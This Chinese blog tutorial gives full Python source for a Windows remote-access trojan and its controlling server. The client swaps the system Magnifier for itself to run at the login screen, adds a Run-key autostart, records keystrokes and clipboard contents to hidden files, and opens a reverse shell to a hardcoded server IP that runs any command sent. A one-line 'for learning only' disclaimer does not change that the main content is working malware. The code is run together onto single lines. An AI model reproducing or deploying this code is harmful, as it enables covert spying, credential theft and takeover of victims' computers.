环境:win10(测试机),阿里云服务器(服务端)
另附:从局域网监控到广域网实时监控的实现


反弹shell(reverse shell),就是控制端监听在某 TCP/UDP 端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell 与 telnet,ssh 等标准 shell 对应,本质上是网络概念的客户端与服务端的角色反转

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接

windows 一个漏洞:在开机页面,没有输入密码登陆电脑之前,可以直接打开放大镜,可以将放大镜软件替换为 cmd.exe 或者其他软件,就可以实现即使未登陆电脑,也可以做点其他事

总体概述:

  • 最终将客户端代码使用 pyinstaller 打包成一个 exe 文件(比如 python.exe),服务端代码则放在云服务器运行
  • 先在云端运行代码,监控某个端口
  • 当在 win10 运行客户端软件时,会先将当前目录的 python.exe 去替换系统的放大镜软件(magnify.exe),然后在注册表注册绑定已经被替换的 magnify.exe ,实现客户端软件开机自启动
  • 然后开启键盘记录的功能,能够记录键盘输入的数字字母、一般/特殊符号、特殊按键等,还能够记录粘贴板上的数据,键盘输入的数据保存在某个文件(比如 sys 无后缀名),并将该文件自动备份、隐藏为不可见保存在本地
  • 开始申请连接服务器端口,连接成功后先进入等待模式,和服务器随意发发消息等待以下,也称为待机模式
  • 在服务端进行模式切换时(比如设置成 ctrl+C),服务端进入命令发送模式,客户端则进入命令接收模式
  • 实现反弹 shell,将客户端所在电脑的 cmd 发送至云端,也就是说,在 win 下的 cmd 里能做的事,在云端也就能做了,这就实现了远程控制,区别在于权限是否拥有及用户密码
  • 当客户端掉线或者连接中断,服务端会自动切换到等待新连接的方式,而客户端在下次开机并联网时,就能悄然与服务器连接了

关键点如下:

① 软件第一次需要以管理员身份运行(如果当前登录用户不是最高管理员的话),运行后没有任何提示信息,但是在系统进程中可以看到并关闭,如果不是管理员身份运行,则导致下次开机后软件不能再自动运行了

② 将当前目录的exe复制替换成系统软件magnify,同时将原来的magnify备份,将magnify添加进注册表,实现开机自启动

③ 使用多线程实现键盘记录功能,对于特殊符号及按键的检测,使用 ASCII 进行区分,最终能够记录特殊符号,特殊按键则是用对应的英文名词记录,比如 ctrl 键是 LConctrol 或 RConctrol ,同时也能够记录按键是在什么应用窗口输入的

④ 通过 locale 解决了在 python 和 win 下不同编码方式导致的中文乱码问题、并解决的socket 发送的数据太多而接受不全的问题

⑤ 使用 subprocess.Popen 来执行远程控制的指令,能够返回每次执行的结果

客户端代码 python.py

# -*- coding: utf-8 -*-# runas /user:administrator cmd.exe #以管理员方式运行 cmd.exe 软件#下面都是用 import 是因为我用 from import 时生成 exe 报错,运行不了,搞了好久都没有解决
import socket
import os
import locale
import subprocess
import time
import struct
import win32api
import win32con
import win32clipboard
import PyHook3
import pythoncom
import threading# 实现将 python.exe 替换 magnify.exe,并开机自启动
class Copy_Start_File(object):def __init__(self):# 获取本地编码方式self.codeWay = locale.getdefaultlocale()[1]# 将 utf8 格式的字符串转为本地编码格式的字符串def utf8_to_locale(self,str_utf8):str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)return str_locale# 获取当前目录路径def getCurrentDir(self):curDir = self.utf8_to_locale(os.getcwd())return curDir# 设置开机自启动def setAutoStart(self):name = 'oftpublic' path = 'c:\windows\system32\magnify.exe' KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'try:key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, (KeyName), 0, win32con.KEY_ALL_ACCESS)win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)win32api.RegCloseKey(key)result = 'start sucessful'except:result = 'start error'return  result# 替换软件    def autoCopyFile(self):curDir = self.getCurrentDir()tarFile = str(curDir) + '\python.exe'os.chdir('c:/windows/system32'.strip())tempCheck = '1 个文件'tempCheck = self.utf8_to_locale(tempCheck)cmd_list = []cmd_list.append('takeown /f magnify.exe')cmd_list.append('icacls magnify.exe /grant administrators:F')cmd_list.append('ren magnify.exe magnify_back.exe')cmd_list.append('copy %s magnify.exe'%tarFile)PIPE = subprocess.PIPEfor cmd in cmd_list:cmd = self.utf8_to_locale(cmd)comRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)result, m_stderr = comRst.communicate()time.sleep(1)result = result.decode(self.codeWay)if tempCheck in result:start_result = self.setAutoStart()result += start_resultreturn  result + 'COPY WORK IS DONE!'return 'COPY NO WORK!'# 键盘记录实现
class Record_Keyboard(object):def __init__(self):self.codeWay = locale.getdefaultlocale()[1]self.column = 0 # 写入到文件时,做个换行,好看一点self.WindowName = ''dataPathList=['D:\\sys','E:\\sys','F:\\sys','G:\\sys','C:\\sys']self.dataPath = ''utf8_title = ('\n\n\n'+'='*20 + '\n' + self.utf8_to_locale(self.getLocalTime()+' 记录器运行\n')+'='*20+'\n\n\n')# 防止有的电脑没有某个盘for dataPath in dataPathList:try:with open(dataPath,'a') as f:f.write(self.utf8_to_locale(utf8_title))self.dataPath = dataPathbreakexcept:passif len(self.dataPath) != 0:self.hideDataFile()return Truereturn False# 写入数据def writeData(self,str_utf8):str_locale = self.utf8_to_locale(str_utf8)with open(self.dataPath,'a') as f:f.write(str_locale)self.copyData() # 自动拷贝self.hideDataFile()def copyData(self):try:cmd = 'copy %s c:\\Users\\sys_backup'%self.dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)self.hideDataFile('c:\\Users\\sys_backup')except:pass# 获取本地时间        def getLocalTime(self):now_time = str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))return now_timedef utf8_to_locale(self,str_utf8):str_locale = str_utf8.encode(self.codeWay).decode(self.codeWay)return str_localedef hideDataFile(self,dataPath=None):PIPE = subprocess.PIPEtry:if dataPath is None:cmd = 'attrib +H %s'%self.dataPathelse:cmd = cmd = 'attrib +H %s'%dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)except:passdef showDataFile(self):PIPE = subprocess.PIPEtry:cmd = 'attrib -H %s'%self.dataPathcomRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)try:cmd = 'attrib -H c:\\Users\\sys_backup'comRst = subprocess.Popen(cmd,shell=True, stdout=(PIPE),stderr=PIPE,stdin=PIPE)except:passexcept:passdef onKeyboardEvent(self,event):if event.Ascii > 32 and event.Ascii <127: #普通数字字母字符data = chr(event.Ascii) # 将ascii码转为字符else: #其他特殊按键if event.Key == 'V': #如果是 ctrl+Vtry:win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()data = pasted_valueexcept:data = event.Key #特殊按键键名else:data = event.Keyif self.column == 10:end_symbol = '\n'self.column = 0else:end_symbol = ' ### ' #分隔符self.column += 1with open(self.dataPath,'a') as f:# 防止同一个窗口命名if str(event.WindowName) != self.WindowName:if ('*'+str(self.WindowName)) != str(event.WindowName):self.column = 0self.WindowName = str(event.WindowName)newWinTime = ('\n\n' + self.getLocalTime() + '\n')newWinName = self.WindowName + '\n'self.writeData(newWinTime+newWinName)self.writeData(data+end_symbol)return Truedef startRecord(self):    hookmonitor = PyHook3.HookManager()hookmonitor.KeyDown = self.onKeyboardEventhookmonitor.HookKeyboard()pythoncom.PumpMessages()# 连接服务器
class ConnectServer(Copy_Start_File,Record_Keyboard):def __init__(self,ht,pt):Copy_Start_File.__init__(self) #父类初始化self.keyBoardState = Record_Keyboard.__init__(self)FileState = self.autoCopyFile()self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)while True:try:self.sock.connect((ht,int(pt)))breakexcept Exception as e:passself.sendMessage(FileState) #向服务器发送软件拷贝状态def sendMessage(self,strData):strData = strData.encode()lenStrData = len(strData)packet = struct.pack(b'i',lenStrData) # i 代表整形,占4个字节self.sock.send(packet) #先发送数据的长度self.sock.send(strData) #再发送数据内容def recvMessage(self):return self.sock.recv(1024).decode()def getCurrentDir(self):curDir = os.getcwd().encode().decode()return curDirdef changeDir(self,cmd):cmd = self.utf8_to_locale(cmd)os.chdir(cmd[2:].strip())return "切换目录成功!"def runCmd(self,cmd):PIPE = subprocess.PIPEcomRst = subprocess.Popen(cmd,shell=True,stdout=(PIPE),stderr=PIPE,stdin=PIPE)result, m_stderr = comRst.communicate()result = result.decode(self.codeWay)return resultdef waitCmd(self):while True: # 实时通信,检测是否掉线msg = self.recvMessage()if msg == 'online?':self.sendMessage('baby')elif msg == 'Come on baby!':breakwhile True: #等待命令模式self.sendMessage(self.getCurrentDir()) #发送当前目录名cmd = self.recvMessage() #接收指令try:if cmd == "!q": #退出os._exit(0)elif cmd.startswith("cd"):result = self.changeDir(cmd)self.sendMessage(result)self.hideDataFile()elif cmd == 'null': #不操作passelif cmd == 'show':self.showDataFile()result = '显示文件!'self.sendMessage(result)elif cmd == 'hide':self.hideDataFile()result = '隐藏文件!'self.sendMessage(result)else:result = self.runCmd(cmd)if not result:result = '操作成功!'self.sendMessage(result)self.hideDataFile()except SystemExit:passexcept ConnectionAbortedError:breakexcept Exception as e: #将命令执行的错误结果返回e = self.utf8_to_locale(str(e))self.sendMessage(e)time.sleep(1)self.sock.close()def main():while True:try:client = ConnectServer('39.97.181.14',8888)if client.keyBoardState: #如果键盘记录正确初始化,thread = threading.Thread(target=client.startRecord)thread.start()client.waitCmd()time.sleep(10)except ConnectionResetError:os._exit(0)if __name__ == '__main__':main()

服务端 ser.py


# -*- coding: utf-8 -*-from socket import socket,AF_INET,SOCK_STREAM
from threading import Lock,Thread
from time import sleep
from os import system
from struct import unpackclass God(object):def __init__(self):self.server = socket(AF_INET,SOCK_STREAM)self.server.bind(('0.0.0.0',8888))self.server.listen(5)self.curClient = Noneself.waitConnect()def waitConnect(self):while True:try:print('Waiting for the connection......')self.curClient, addr = self.server.accept()print('New client %s is connection!' % (addr[0]))print(self.recvMessage())breakexcept Exception as e:print(e)def recvMessage(self):lenStrDta_pack = self.curClient.recv(4)lenStrDta = int(unpack('i', lenStrDta_pack)[0])try:buf = b""temp_buf = bufwhile lenStrDta: #可以接收大容量数据temp_buf = self.curClient.recv(lenStrDta)lenStrDta -= len(temp_buf)buf += temp_bufresult = buf.decode()except Exception as e:print('recvMessage: ',e)return resultdef sendMessage(self,strData):self.curClient.send(strData.encode())def shellCtrl(self):print('后台工作...')while True:try:self.sendMessage('online?')reply = self.recvMessage()if reply:sleep(5)else:print('Client offline')self.waitConnect()except KeyboardInterrupt:print('准备跳转中...')sleep(2)breakexcept Exception as e:if 'Broken pipe' in str(e):self.waitConnect()print('后台模式...')self.sendMessage('Come on baby!')while True:try:curDir = self.recvMessage()com = input(str(curDir) + ':~# ')if len(com)==0 or com.endswith("err"):self.sendMessage('null')elif com == 'cls':system('clear')self.sendMessage('null')elif com == '!q':self.sendMessage('!q')print('-----------------------* Connection has ended *--------------------------')exit(0)else:try:self.sendMessage(com)result = self.recvMessage()if result:print(result)except Exception as e:if 'unpack requires' in str(e):self.shellCtrl()except KeyboardInterrupt:self.sendMessage('null')self.shellCtrl()except Exception as e:print(e)self.curClient.shutdown(2)self.curClient.close()def main():remote = God()while True:try:remote.shellCtrl()except KeyboardInterrupt:print('-----------------------* Is out! *--------------------------')exit(0)except Exception as e:exit(0)if __name__ == '__main__':main()



  以上代码,仅供学习参考,请勿用于非法用途,欢迎指正错误

反弹shell和键盘记录器实现相关推荐

  1. linux下几种反弹Shell方法的总结与理解

    实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...

  2. linux 反弹shell(一)文件描述符与重定向

    0X00 前言 由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写 ...

  3. 【技术分享】linux各种一句话反弹shell总结——攻击者指定服务端,受害者主机(无公网IP)主动连接攻击者的服务端程序(CC server),开启一个shell交互,就叫反弹shell。...

    反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹. 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常 ...

  4. shell不允许输入空字符_反弹shell | ncamp;bash

    01 nc netcat,简称nc,一款TCP/UDP网络连接的利器,可实现任意TCP/UDP端口的侦听,被称为"瑞士军刀",可见其功能强大. nc的选项较多,这里只介绍我们日常工 ...

  5. linux 反弹 socket,反弹shell基础

    1. 从Bash一句话shell讲起 bash -i >& /dev/tcp/172.168.1.1/80 0>&1 将这句话拆开来看,bash -i,>&, ...

  6. Linux中一句话反弹Shell细说

    简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之一,其中经常会遇到以下几个场景. 一.场景一 我们已经拿下主机的一个webshe ...

  7. linux各种一句话反弹shell总结

    [技术分享]linux各种一句话反弹shell总结 作者:[myles007] 简介 我们在渗透测试的过程中经常会遇到linux主机环境,而在获取linux主机shell是我们经常需要做的是工作内容之 ...

  8. python键盘记录器_使用Python设计键盘记录器

    在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...

  9. ac2100 反弹shell无法粘贴_红米AC2100刷机小白教程(加入刷机包地址)

    记录一下入手红米AC2100及刷机过程. 原由:其实家里早已经升级500M宽带,只不过对WiFi没多大需求,就随便找了个路由器用着,感觉4G流量足够多,速度足够快.到今年下半年,明显感觉4G速度变慢, ...

最新文章

  1. Scrapy项目 - 数据简析 - 实现腾讯网站社会招聘信息爬取的爬虫设计
  2. 【算法学习笔记】哈夫曼树的构建和哈夫曼编码的实现代码
  3. axios04-文件上传
  4. chrome源代码目录结构简介
  5. C++ 学习之旅(1)——编译器Compiler
  6. [react] 为什么说React中的props是只读的?
  7. java大数据组件HBase
  8. UI自动化:单元测试框架
  9. android 网页取词,有道词典屏幕取词怎么用?,你知道吗?在浏览网页
  10. 如何在ADS使用VerilogA模型,并扫描参数
  11. 微信商户号转账到个人银行卡加密算法及结果查询问题
  12. 你必须认识的五名网络女红人
  13. 学计算机买电脑显卡1605ti够吗,GTX1650和GTX1050Ti哪个好?GTX1050ti和GTX1650性能差距对比评测...
  14. 市场模式缭乱,合适的模式脱颖而出?众筹卖货模式在线分享分析
  15. js 获取字符串长度方法length
  16. 测试 软通动力软件测试机试_软通动力软件测试笔试题 (转)
  17. CentOS7下使用ngrok搭建内网穿透服务器
  18. linux线程 ppt,Linux多线程编程多核编程.ppt
  19. mysql脚本文件生成工具_SqlDataToScript(sql脚本生成工具)
  20. 网络爬虫反反爬小技巧(五)验证码

热门文章

  1. TEMPDB空间已满
  2. Linux下硬盘安装fedora,Fedora 10硬盘安装教程
  3. EN 14351-1门窗及配件—CE认证
  4. Oracle 储存生僻字
  5. FCFS进程调度算法
  6. Docker 理论以及隔离
  7. 计算机硬盘分区安全,如何安全、简便的对固态硬盘分区?
  8. 前端性能自动化执行机服务开发
  9. 分布式进阶 一 Windows 7下硬盘安装Ubuntu 14 04图文教程
  10. 服务器主板显示不了独立显卡,独立显卡故障——如何才知道显卡和主板不兼容...